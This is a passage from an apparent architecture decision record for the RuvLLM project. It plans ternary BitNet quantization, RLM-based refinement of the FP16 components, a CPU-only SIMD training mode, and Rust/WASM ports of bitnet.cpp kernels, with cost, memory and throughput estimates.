calibration samples through teacher model\n b. Record activation statistics per layer\n c. Optimize scale factors to minimize MSE between teacher and ternary outputs\n 4. Export to GGUF with BITNET_T158 tensor type + metadata\n 5. Validate: load in BitNetBackend \u2192 TL1 NEON kernel \u2192 generate tokens\n```\n\n**Absmean ternary quantizer (core algorithm)**:\n```\nInput: W \u2208 R^{m\u00d7n} (FP16 weight matrix)\nOutput: W_t \u2208 {-1,0,+1}^{m\u00d7n}, scale \u2208 R (per-block FP16)\n\nFor each block of 256 elements:\n 1. gamma = mean(|block|) + 1e-8\n 2. normalized = block / gamma\n 3. ternary = round(clamp(normalized, -1, 1)) \u2192 {-1, 0, +1}\n 4. Pack: 2 bits per weight (00=-1, 01=0, 10=+1)\n 5. Store scale = gamma as FP16\n```\n\n**What stays FP16** (same as AD-2):\n- MoE router gating weights\n- Token embeddings + LM head\n- RoPE frequencies\n- LayerNorm/RMSNorm parameters\n\n**RuvLLM implementation gaps to fill**:\n\n| Gap | Effort | Details |\n|-----|--------|---------|\n| Absmean ternary quantizer | ~200-300 lines | New function in `gguf/quantization.rs` or new module |\n| IQ1_S / BITNET_T158 dequantization | ~80-120 lines | Add to `dequantize_tensor` match arm (currently falls to error at line 358) |\n| GGUF export with ternary metadata | ~100-150 lines | Extend `GgufExportResult` with BitNet metadata keys from AD-5 |\n| TL1 kernel smoke test | ~200 lines | Validate ternary GEMM produces correct output on PTQ model |\n\n**Total new code**: ~600-800 lines (vs ~15,000+ for Phase 1 full distillation pipeline)\n\n**Quality expectations (conservative estimates for GLM-4.7-Flash 30B-A3B)**:\n\n| Benchmark | FP16 Baseline | Phase 0 PTQ (est.) | Phase 1 Distill (est.) |\n|-----------|--------------|-------------------|----------------------|\n| HumanEval pass@1 | ~65% | ~35-45% | ~55-60% |\n| MMLU | ~75% | ~45-55% | ~65-70% |\n| SWE-bench Verified | 59.2% | ~25-35% | ~50-55% |\n| LiveCodeBench v6 | 64.0% | ~30-40% | ~55-60% |\n\n**Why Phase 0 quality is still useful**:\n1. **Kernel validation**: Ternary GEMM correctness doesn't depend on model quality\n2. **Memory profiling**: Real-world memory usage measurement with actual MoE activation patterns\n3. **Throughput benchmarking**: Measure real tok/s with TL1/TL2/I2_S kernels on target hardware\n4. **Pipeline testing**: End-to-end GGUF load \u2192 inference \u2192 token output\n5. **Baseline measurement**: Quantitative quality floor establishes improvement target for Phase 1\n6. **Cost**: $0 on Mac Studio vs ~$1,300 for Phase 1 \u2014 validates infrastructure at zero cost before committing to cloud GPU\n\n**Key configuration**:\n```rust\npub struct PtBitnetConfig {\n pub calibration_samples: usize, // 1000 default (WikiText-2 or code corpus)\n pub block_size: usize, // 256 (matches AD-1)\n pub optimize_scales: bool, // true: MSE-optimized scales; false: raw absmean\n pub layers_to_quantize: LayerMask, // ExpertsOnly (Phase 0) or All (future)\n pub export_format: TernaryFormat, // BitnetT158 (native) or IQ1S (llama.cpp compat)\n pub router_precision: Precision, // FP16 (always, per AD-2)\n pub use_mmap: bool, // true: memory-map FP16 weights (required for <128GB systems)\n pub use_metal_calibration: bool, // true: Metal GPU for calibration pass (Mac Studio)\n pub max_memory_gb: Option, // Cap memory usage; enables streaming quantization\n}\n```\n\n**Reused**: GGUF parser, tensor metadata, `GgufQuantType` enum, export pipeline.\n**New**: `PtBitnetQuantizer`, `absmean_ternary()`, `BITNET_T158` dequantization kernel.\n\n### AD-19: Phase 0.5 \u2014 RLM Post-Quantization Refinement (No Traditional Training)\n\n**Decision**: Use the existing RLM training stack to refine the Phase 0 PTQ model on Mac Studio by training only the small FP16 components (~1-2% of parameters), freezing ternary weights. This replaces traditional distillation for the rapid prototype phase.\n\n**Rationale**: Traditional knowledge distillation (Phase 1) requires shadow weights, straight-through estimator, and GPU-scale compute to modify the ternary weights themselves. However, the Phase 0 PTQ model already has ternary weights \u2014 the quality loss comes from:\n1. Sub-optimal per-block scale factors (absmean is a rough approximation)\n2. MoE router misrouting tokens to wrong experts (expert output distributions changed)\n3. No adaptation to ternary output characteristics\n\nAll three can be addressed by training only the FP16 components using the existing RLM stack, without touching the ternary weights.\n\n**What gets trained (FP16, differentiable) vs frozen (ternary, not differentiable):**\n\n| Component | Params | Size | Trainable? | Training Method |\n|-----------|--------|------|------------|----------------|\n| Expert FFN ternary weights | ~28B | ~5.5 GB | **Frozen** | N/A \u2014 {-1,0,+1} not differentiable |\n| MicroLoRA adapters (rank-2, per expert FFN) | ~50-100M | ~100-200 MB | **Yes** | `TrainingPipeline` + `EwcRegularizer` |\n| MoE router gating weights | ~30M | ~60 MB | **Yes** | `ContrastiveTrainer` (triplet + InfoNCE) |\n| Per-block absmean scale factors | ~0.1M | ~200 KB | **Yes** | GRPO reward-guided optimization |\n| LM head (output projection) | ~150M | ~300 MB | **Yes (optional)** | Standard fine-tuning |\n| Attention Q/K/V/O (FP16) | ~2B | ~4 GB | **Optional** | Can add LoRA here too if budget allows |\n| **Total trainable** | **~200-400M** | **~400-800 MB** | | **~1-2% of 30B total** |\n\n**Why RLM works here (vs traditional distillation):**\n\n| Property | Traditional KD (Phase 1) | RLM Refinement (Phase 0.5) |\n|----------|--------------------------|----------------------------|\n| Modifies ternary weights | Yes (shadow weights + STE) | No (frozen) |\n| Trainable params | ~28B (all expert weights) | ~200-400M (1-2%) |\n| Training tokens needed | 200B | 100M-500M (400x less) |\n| GPU requirement | 4\u00d7 A100 ($1,300+) | Mac Studio Metal ($0) |\n| Training time | ~46 days (cloud) | **2-12 days (local)** |\n| Quality target | ~90-95% of FP16 | ~70-80% of FP16 |\n| New code required | ~15,000 lines (BitLinear, STE, orchestrator) | **~0 lines** (100% RLM reuse) |\n\n**RLM component mapping:**\n\n```\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 Phase 0.5: RLM Refinement Pipeline \u2502\n\u2502 (100% existing RLM code, 0% new training code) \u2502\n\u2502 \u2502\n\u2502 Frozen Ternary Model (Phase 0 PTQ output) \u2502\n\u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502\n\u2502 \u2502 Expert FFNs: {-1,0,+1} weights (FROZEN) \u2502 \u2502\n\u2502 \u2502 Router: FP16 gating (TRAINABLE) \u2502 \u2502\n\u2502 \u2502 Attention: FP16 (TRAINABLE via LoRA opt.) \u2502 \u2502\n\u2502 \u2502 Scales: FP16 per-block (TRAINABLE) \u2502 \u2502\n\u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502\n\u2502 \u2502 \u2502\n\u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u25bc\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502\n\u2502 \u2502 Step 1: Router Repair \u2502 \u2502\n\u2502 \u2502 ContrastiveTrainer (REUSED, contrastive.rs) \u2502 \u2502\n\u2502 \u2502 \u2022 Generate triplets: anchor=hidden, +correct \u2502 \u2502\n\u2502 \u2502 expert, -wrong expert \u2502 \u2502\n\u2502 \u2502 \u2022 Triplet + InfoNCE loss on FP16 router \u2502 \u2502\n\u2502 \u2502 \u2022 Fix misrouting from PTQ weight changes \u2502 \u2502\n\u2502 \u2502 Training: ~10M tokens, ~1-2 hours (Metal) \u2502 \u2502\n\u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502\n\u2502 \u2502 \u2502\n\u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u25bc\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502\n\u2502 \u2502 Step 2: MicroLoRA Injection + Training \u2502 \u2502\n\u2502 \u2502 TrainingPipeline + MicroLoRA (REUSED, \u2502 \u2502\n\u2502 \u2502 lora/training.rs + lora/micro_lora.rs) \u2502 \u2502\n\u2502 \u2502 \u2022 Rank-2 LoRA per expert FFN: Y = BitLinear(X) \u2502 \u2502\n\u2502 \u2502 + LoRA_B @ LoRA_A @ X \u2502 \u2502\n\u2502 \u2502 \u2022 Loss: MSE(teacher_output, student+LoRA) \u2502 \u2502\n\u2502 \u2502 \u2022 EWC++ across expert phases \u2502 \u2502\n\u2502 \u2502 Training: ~100-500M tokens, ~2-12 days (Metal) \u2502 \u2502\n\u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502\n\u2502 \u2502 \u2502\n\u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u25bc\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502\n\u2502 \u2502 Step 3: Scale Factor + Quality Optimization \u2502 \u2502\n\u2502 \u2502 GrpoOptimizer (REUSED, grpo.rs) \u2502 \u2502\n\u2502 \u2502 \u2022 Per-expert output quality \u2192 reward signal \u2502 \u2502\n\u2502 \u2502 \u2022 Optimize FP16 scale factors to maximize \u2502 \u2502\n\u2502 \u2502 cosine similarity with teacher output \u2502 \u2502\n\u2502 \u2502 \u2022 Adaptive KL prevents over-correction \u2502 \u2502\n\u2502 \u2502 Training: concurrent with Step 2 \u2502 \u2502\n\u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502\n\u2502 \u2502 \u2502\n\u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u25bc\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502\n\u2502 \u2502 Feedback Loop \u2502 \u2502\n\u2502 \u2502 MemoryDistiller \u2192 KeyLessons (REUSED) \u2502 \u2502\n\u2502 \u2502 PolicyStore \u2192 TernaryScale policies (REUSED) \u2502 \u2502\n\u2502 \u2502 \u2022 Track which experts improve most \u2502 \u2502\n\u2502 \u2502 \u2022 Store optimized configs for reproducibility \u2502 \u2502\n\u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n```\n\n**Memory budget on Mac Studio during Phase 0.5 training:**\n\n| Component | Size | Notes |\n|-----------|------|-------|\n| PTQ ternary model (mmap) | ~7 GB disk / ~3-7 GB RAM | Demand-paged; only active expert pages in RAM |\n| Teacher FP16 model (mmap) | ~60 GB disk / ~4-8 GB RAM | Only forward pass activations; demand-paged |\n| MicroLoRA adapters (rank-2) | ~200 MB | All experts in RAM |\n| LoRA gradients + optimizer (AdamW 2\u00d7FP32) | ~1.5 GB | For ~400M trainable params |\n| EWC++ Fisher diagonal | ~200 MB | Per-expert accumulated |\n| KV cache + activations | ~2 GB | Calibration/training forward pass |\n| **Total active RAM** | **~12-20 GB** | **Fits in any Mac Studio config** |\n\n**Key insight**: The teacher model is only needed for forward pass (no gradients), so it can be mmap'd and demand-paged. The ternary student is similarly mmap'd. Only the ~400M trainable parameters and their optimizer state need to be fully in RAM (~2 GB), which fits comfortably in even the 36GB M4 Max.\n\n**Training schedule on Mac Studio M4 Max 128GB:**\n\n| Step | Tokens | Wall Time | What Changes |\n|------|--------|-----------|-------------|\n| Router repair | ~10M | ~3-6 hours | FP16 router gating weights |\n| LoRA training (per-expert, sequential) | ~100-500M | 2-12 days | MicroLoRA A/B matrices per expert FFN |\n| Scale optimization | ~10M | ~3-6 hours | Per-block FP16 absmean scales |\n| Validation + export | \u2014 | ~1-2 hours | Benchmark + GGUF re-export |\n| **Total** | **~120-520M** | **~3-14 days** | |\n\n**Expected quality improvement:**\n\n| Benchmark | Phase 0 PTQ | Phase 0.5 RLM | Phase 1 Distill | FP16 Baseline |\n|-----------|------------|--------------|----------------|---------------|\n| HumanEval pass@1 | ~35-45% | **~45-55%** | ~55-60% | ~65% |\n| MMLU | ~45-55% | **~55-65%** | ~65-70% | ~75% |\n| SWE-bench Verified | ~25-35% | **~35-45%** | ~50-55% | 59.2% |\n\n**The question \"can I use RLM rather than traditional training\" is answered YES** \u2014 with the critical caveat that RLM refinement trains the FP16 corrections around frozen ternary weights, not the ternary weights themselves. This is fundamentally different from traditional distillation but achieves meaningful quality recovery (estimated +10-15 percentage points) at zero cost.\n\n**Reused (100%)**: `MicroLoRA`, `TrainingPipeline`, `EwcRegularizer`, `GrpoOptimizer`, `ContrastiveTrainer`, `MemoryDistiller`, `PolicyStore`, `TrainingConfig`, LR schedules, GGUF export.\n**New (0%)**: No new training code. The only new code is a thin `RlmRefiner` orchestrator (~200-300 lines) that wires the existing components together for the Phase 0.5 pipeline.\n\n### AD-20: Phase 0.5 \u2014 SIMD-Only Training Mode (No Metal GPU Required)\n\n**Decision**: Phase 0.5 RLM refinement supports a pure SIMD/CPU execution mode with no Metal GPU dependency. Metal is an optional acceleration path (~2-3x faster) but not required.\n\n**Rationale**: Analysis of the RLM training stack reveals that Metal GPU is used by only one component (`RealContrastiveTrainer` via Candle), while all other training components are pure ndarray/CPU. Since Phase 0.5 uses the lightweight `ContrastiveTrainer` (not `RealContrastiveTrainer`) for router repair, and all gradient computation is ndarray-based, the entire pipeline runs on pure CPU with SIMD acceleration for inference forward passes.\n\n**Component-by-component GPU dependency analysis:**\n\n| Component | Source | GPU Dependency | SIMD-Only Mode |\n|-----------|--------|---------------|----------------|\n| `MicroLoRA.forward_simd()` | `lora/micro_lora.rs:279` | **None** \u2014 ARM NEON intrinsics with scalar fallback | NEON on aarch64, scalar on x86 |\n| `MicroLoRA.apply_gradients()` | `lora/micro_lora.rs:621+` | **None** \u2014 pure ndarray | Works everywhere |\n| `MicroLoRA.apply_gradients_with_ewc()` | `lora/micro_lora.rs:621+` | **None** \u2014 pure ndarray | Works everywhere |\n| `TrainingPipeline` | `lora/training.rs` | **None** \u2014 pure ndarray CPU | Works everywhere |\n| `EwcRegularizer` | `lora/training.rs` | **None** \u2014 pure ndarray CPU | Works everywhere |\n| `GrpoOptimizer` | `training/grpo.rs` | **None** \u2014 pure ndarray CPU | Works everywhere |\n| `ContrastiveTrainer` | `training/contrastive.rs:169-175` | **Optional** \u2014 `use_metal: true` default, but `Device::new_metal(0).unwrap_or(Device::Cpu)` fallback | Set `use_metal: false` for CPU-only; also has non-Candle pure CPU path (line 475) |\n| `MemoryDistiller` | `reasoning_bank/distillation.rs` | **None** \u2014 pure Rust | Works everywhere |\n| `PolicyStore` | `policy_store.rs` | **None** \u2014 pure Rust | Works everywhere |\n| **`RealContrastiveTrainer`** | `training/real_trainer.rs:178` | **Yes \u2014 Metal/Candle** | **NOT used in Phase 0.5** (used in full distillation only) |\n\n**Inference forward pass (for loss computation) SIMD support:**\n\n| Kernel | NEON (aarch64) | x86 | Source |\n|--------|---------------|-----|--------|\n| GEMM | `gemm_neon` | `gemm_scalar` fallback | `kernels/matmul.rs:520` |\n| GEMV | `gemv_neon` | `gemv_scalar` fallback | `kernels/matmul.rs:184` |\n| SiLU | `silu_neon_impl` (~3.5x speedup) | scalar fallback | `kernels/activations.rs` |\n| GeLU | `gelu_neon_impl` (~3.2x speedup) | scalar fallback | `kernels/activations.rs` |\n| ReLU | `relu_neon_impl` (~4.0x speedup) | scalar fallback | `kernels/activations.rs` |\n| RMSNorm | `rms_norm_neon` | scalar fallback | `kernels/norm.rs` |\n| RoPE | `apply_rope_neon` | scalar fallback | `kernels/rope.rs` |\n| Softmax | `softmax_neon` (~2.8x speedup) | scalar fallback | `kernels/activations.rs` |\n\n**Key observation**: The matmul kernels only dispatch on `target_arch = \"aarch64\"` vs scalar. There are **no explicit AVX2 or AVX512 SIMD implementations** for x86 in the current kernel codebase. This means:\n- **Apple Silicon (aarch64)**: Full NEON SIMD acceleration \u2014 primary target for SIMD-only mode\n- **x86 (AMD/Intel)**: Falls to scalar fallback \u2014 works but ~3-5x slower than NEON\n- **Future opportunity**: Adding AVX2/AVX512 kernels to `matmul.rs` would make x86 competitive with NEON\n\n**Throughput comparison for Phase 0.5 (100M tokens, ~200-400M trainable params, 3B active forward):**\n\n| Execution Mode | Forward tok/s | Effective Training tok/s | 100M Tokens | 500M Tokens |\n|---------------|--------------|------------------------|------------|------------|\n| Metal GPU (M4 Max) | ~500-1500 | ~300-700 | ~2-4 days | ~8-19 days |\n| **NEON SIMD only (M4 Max CPU)** | **~200-500** | **~100-300** | **~4-12 days** | **~19-58 days** |\n| **NEON SIMD only (M3 Ultra CPU)** | **~300-700** | **~150-400** | **~3-8 days** | **~14-39 days** |\n| x86 scalar (Ryzen 9, no AVX2 kernels) | ~50-150 | ~30-80 | ~14-39 days | ~72-193 days |\n\n**Why SIMD-only is ~2-3x slower than Metal (not 10x):**\n- Phase 0.5 training is dominated by the forward pass through the frozen 3B active parameters to compute loss against the teacher\n- The forward pass uses SIMD-accelerated GEMM/GEMV (`gemm_neon`/`gemv_neon`) which gets ~60-70% of Metal throughput for these matrix sizes\n- Gradient computation for the ~200-400M trainable params is pure ndarray \u2014 identical speed regardless of Metal availability\n- The training bottleneck is I/O (loading teacher activations from mmap) not compute, further narrowing the gap\n\n**Platform portability (bonus of SIMD-only mode):**\n\nSIMD-only mode extends Phase 0.5 beyond Mac Studio to any platform with ndarray support:\n\n| Platform | SIMD Path | Effective tok/s | Feasible? |\n|----------|----------|----------------|-----------|\n| Mac Studio M4 Max (aarch64) | NEON intrinsics | ~100-300 | **Yes \u2014 primary target** |\n| Mac Studio M3 Ultra (aarch64) | NEON intrinsics | ~150-400 | **Yes \u2014 faster than M4 Max** |\n| Linux ARM64 (Ampere/Graviton) | NEON intrinsics | ~80-200 | **Yes \u2014 cloud ARM instances** |\n| Linux x86 (Ryzen/Xeon) | Scalar fallback | ~30-80 | **Marginal \u2014 100M tokens feasible (~14-39 days), 500M not practical** |\n| macOS Intel | Scalar fallback | ~20-50 | **Not recommended** |\n\n**Configuration for SIMD-only mode:**\n\n```rust\n// Phase 0.5 SIMD-only config (no Metal)\nlet contrastive_config = ContrastiveConfig {\n use_metal: false, // Force CPU path in ContrastiveTrainer\n ..Default::default()\n};\n\n// MicroLoRA \u2014 already pure SIMD/ndarray, no config change needed\n// TrainingPipeline \u2014 already pure ndarray\n// GrpoOptimizer \u2014 already pure ndarray\n// EwcRegularizer \u2014 already pure ndarray\n```\n\nThe only config change is `ContrastiveTrainer.use_metal = false`. All other RLM components are GPU-agnostic by design.\n\n**SIMD-only Phase 0.5 exit criteria (in addition to standard Phase 0.5 criteria):**\n- [ ] All training completes without Metal GPU dependency\n- [ ] `ContrastiveTrainer` runs with `use_metal: false` and produces equivalent router accuracy\n- [ ] MicroLoRA `forward_simd()` executes NEON path on aarch64 (verified via `cfg` compile check)\n- [ ] Training throughput measured and documented for SIMD-only vs Metal comparison\n\n**Recommendation**: Use Metal when available (2-3x faster), fall back to SIMD-only when Metal is unavailable or on non-Mac platforms. The training code requires zero changes \u2014 only `ContrastiveTrainer.use_metal` needs to be set to `false`.\n\n**Reused**: 100% of existing RLM stack \u2014 `MicroLoRA` NEON forward, ndarray training, `ContrastiveTrainer` CPU fallback, all existing SIMD kernels.\n**New**: 0 lines. SIMD-only mode is already supported by the existing code paths; AD-20 documents this capability explicitly.\n\n### AD-21: Native Rust Ternary Kernels with WASM Target (bitnet.cpp Port Strategy)\n\n**Decision**: Port bitnet.cpp's ternary inference kernels (TL1, TL2, I2_S) to native Rust with dual compilation targets: native SIMD (NEON/AVX2/AVX512) and WebAssembly SIMD128. This replaces the original AD-4 strategy of Python codegen \u2192 Rust intrinsics with a pure Rust implementation that leverages existing open-source work.\n\n**Rationale**: Three significant developments change the AD-4 implementation calculus:\n\n1. **R3-Engine** (https://github.com/r3-engine/r3-engine) \u2014 A pure Safe Rust BitNet inference engine achieving 80-117 tok/s single-threaded on Ryzen 9950X3D, with native WASM SIMD128 cross-compilation. Uses bit-sliced ternary matrices with AVX-512 VPOPCNTDQ, zero-copy mmap, and zero heap allocations during generation.\n\n2. **bitnet.rs** (https://github.com/ocentra/bitnet.rs) \u2014 Pure Rust BitNet toolkit with conversion, inference, training, and streaming. Apache 2.0 license. GPU path via WGSL/wgpu (Vulkan/Metal/DX12). Dedicated `bitnet-wasm` crate for browser deployment.\n\n3. **WASM SIMD128 maturity** \u2014 Fixed-width 128-bit SIMD now supported in all major browsers (Chrome, Firefox, Safari, Edge). Rust's `core::arch::wasm32` provides direct intrinsic access via `simd128` LLVM feature flag.\n\n**Comparison of approaches:**\n\n| Approach | Native Performance | WASM Support | Safety | Integration Effort | Code Reuse |\n|----------|-------------------|-------------|--------|-------------------|-----------|\n| **A: Python codegen (original AD-4)** | Optimal (platform-tuned) | None | C-level unsafe | High \u2014 custom codegen pipeline | bitnet.cpp algorithms |\n| **B: Port bitnet.cpp to Rust** | Near-optimal | Manual WASM SIMD | Mixed (`unsafe` for intrinsics) | Medium \u2014 translate C \u2192 Rust | bitnet.cpp algorithms |\n| **C: Reference R3-Engine patterns** | 80-117 tok/s proven | Native dual-target | 100% Safe Rust | Low-medium \u2014 adapt patterns | R3 bit-slicing + mmap |\n| **D: Integrate bitnet.rs crate** | GPU: 32x (WGSL), CPU: scalar | `bitnet-wasm` crate | Safe Rust + WGSL | Low \u2014 add dependency | Full crate |\n\n**Recommended: Approach C (Reference R3-Engine) with RuvLLM integration**\n\nR3-Engine's techniques are the strongest fit because:\n- **100% Safe Rust** \u2014 no `unsafe` blocks in the hot path\n- **Dual-target proven** \u2014 same codebase compiles to AVX-512 native and WASM SIMD128\n- **Zero-copy mmap** \u2014 matches our Phase 0 mmap strategy (AD-18)\n- **Cache-aligned bit-slicing** \u2014 64-byte aligned CacheLines match CPU cache architecture\n- **VPOPCNTDQ** \u2014 bit-population-count approach to ternary GEMM is elegant and SIMD-width-agnostic\n\n**WASM SIMD128 kernel mapping for TL1:**\n\n```\nWASM SIMD128 provides v128 type (128 bits):\n- i8x16: 16 \u00d7 8-bit integers \u2014 pack 64 ternary weights (2-bit each)\n- i16x8: 8 \u00d7 16-bit integers \u2014 accumulation without overflow\n- i32x4: 4 \u00d7 32-bit integers \u2014 final dequantized output\n\nTL1 LUT (16 entries) maps naturally to a single v128:\n v128.load(lut_ptr) \u2192 load 16-entry LUT\n v128.swizzle(lut, indices) \u2192 parallel 16-way table lookup\n i16x8.add(accum, partial) \u2192 INT16 accumulation\n f32x4.mul(dequant, scale) \u2192 FP32 scale application\n\nEstimated WASM SIMD128 throughput:\n ~20-40 tok/s for 3B active params (vs ~5-10 tok/s scalar JS)\n ~4-8x speedup over non-SIMD WebAssembly\n```\n\n**WASM SIMD128 limitations:**\n- Fixed 128-bit width only (vs NEON 128, AVX2 256, AVX512 512)\n- No integer popcount instruction (must emulate VPOPCNTDQ via lookup or bit manipulation)\n- No gather/scatter operations (LUT access must be sequential or use swizzle)\n- Memory alignment not enforced (no hardware-guaranteed 64-byte alignment)\n- Single-threaded unless SharedArrayBuffer + Web Workers enabled\n\n**Dual-target compilation strategy (Cargo feature flags):**\n\n```rust\n// In Cargo.toml:\n[features]\ndefault = [\"native-simd\"]\nnative-simd = [] # AVX2/AVX512/NEON via std::arch\nwasm-simd = [\"simd128\"] # WASM SIMD128 via core::arch::wasm32\n\n// In kernel code:\n#[cfg(all(target_arch = \"aarch64\", feature = \"native-simd\"))]\nfn ternary_gemv_neon(weights: &TernaryTensor, activations: &[i8], output: &mut [f32]) { ... }\n\n#[cfg(all(target_arch = \"x86_64\", feature = \"native-simd\"))]\nfn ternary_gemv_avx2(weights: &TernaryTensor, activations: &[i8], output: &mut [f32]) { ... }\n\n#[cfg(all(target_arch = \"wasm32\", feature = \"wasm-simd\"))]\nfn ternary_gemv_wasm128(weights: &TernaryTensor, activations: &[i8], output: &mut [f32]) { ... }\n\n// Scalar fallback (always available):\nfn ternary_gemv_scalar(weights: &TernaryTensor, activations: &[i8], output: &mut [f32]) { ... }\n```\n\n**Integration with existing RuvLLM architecture:**\n\n| Existing Component | Change Needed | Impact |\n|-------------------|--------------|--------|\n| `kernels/mod.rs` | Add `ternary` module export | Low |\n| `kernels/matmul.rs` | Add ternary GEMV dispatch alongside existing FP16/Metal GEMV | Low |\n| `bitnet/mod.rs` (new) | Wire TernaryTensor to kernel dispatch | Already created (Phase 0) |\n| `gguf/quantization.rs` | BitnetT158 dequant already integrated | Already done |\n| `autodetect.rs` | Add AVX512 VPOPCNTDQ detection + WASM target detection | Low |\n| `Cargo.toml` | Add `wasm-simd` feature flag, `wasm32` target conditional deps | Low |\n| `backends/` | New `BitNetBackend` uses ternary kernel dispatch | Medium (new backend) |\n\n**Estimated implementation effort (Rust ternary kernels with WASM):**\n\n| Component | Lines | Complexity | Notes |\n|-----------|-------|-----------|-------|\n| TL1 kernel (NEON + scalar) | ~200 | Medium | Reference R3-Engine bit-slicing |\n| TL1 kernel (AVX2/AVX512) | ~250 | Medium | VPOPCNTDQ for AVX512, lookup for AVX2 |\n| TL1 kernel (WASM SIMD128) | ~150 | Medium | v128 swizzle + i16x8 accumulation |\n| I2_S kernel (all targets) | ~300 | Low | Simpler unpack-and-add |\n| TL2 kernel (all targets) | ~250 | Medium-High | 5-bit index, 32-entry LUT |\n| Kernel dispatch + autodetect | ~100 | Low | Match existing `matmul.rs` pattern |\n| LUT generation | ~80 | Low | Pre-compute at model load |\n| **Total** | **~1,330** | \u2014 | Compiles to native + WASM from single source |\n\n**Phase 0 impact**: The Phase 0 smoke test (TL1 NEON + scalar) is already partially covered by the existing `bitnet/` module. AD-21 extends this to production-grade kernels with WASM as an additional target.\n\n**Exit criteria:**\n- [ ] TL1 kernel passes bit-exact validation against bitnet.cpp reference output\n- [ ] WASM SIMD128 build produces functional `.wasm` binary\n- [ ] Native NEON throughput \u2265 80% of R3-Engine (\u2265 ~64-94 tok/s for 2B model)\n- [ ] AVX2 path tested on x86 Linux\n- [ ] Scalar fallback tested on generic platform\n- [ ] WASM throughput \u2265 20 tok/s for 3B active params in browser\n- [ ] Zero `unsafe` blocks in WASM path (Safe Rust only)\n- [ ] Kernel dispatch selects optimal path via `autodetect.rs` feature detection\n\n**Open question resolved**: AD-21 answers open question #5 (WASM target for ternary kernels) \u2014 **yes, 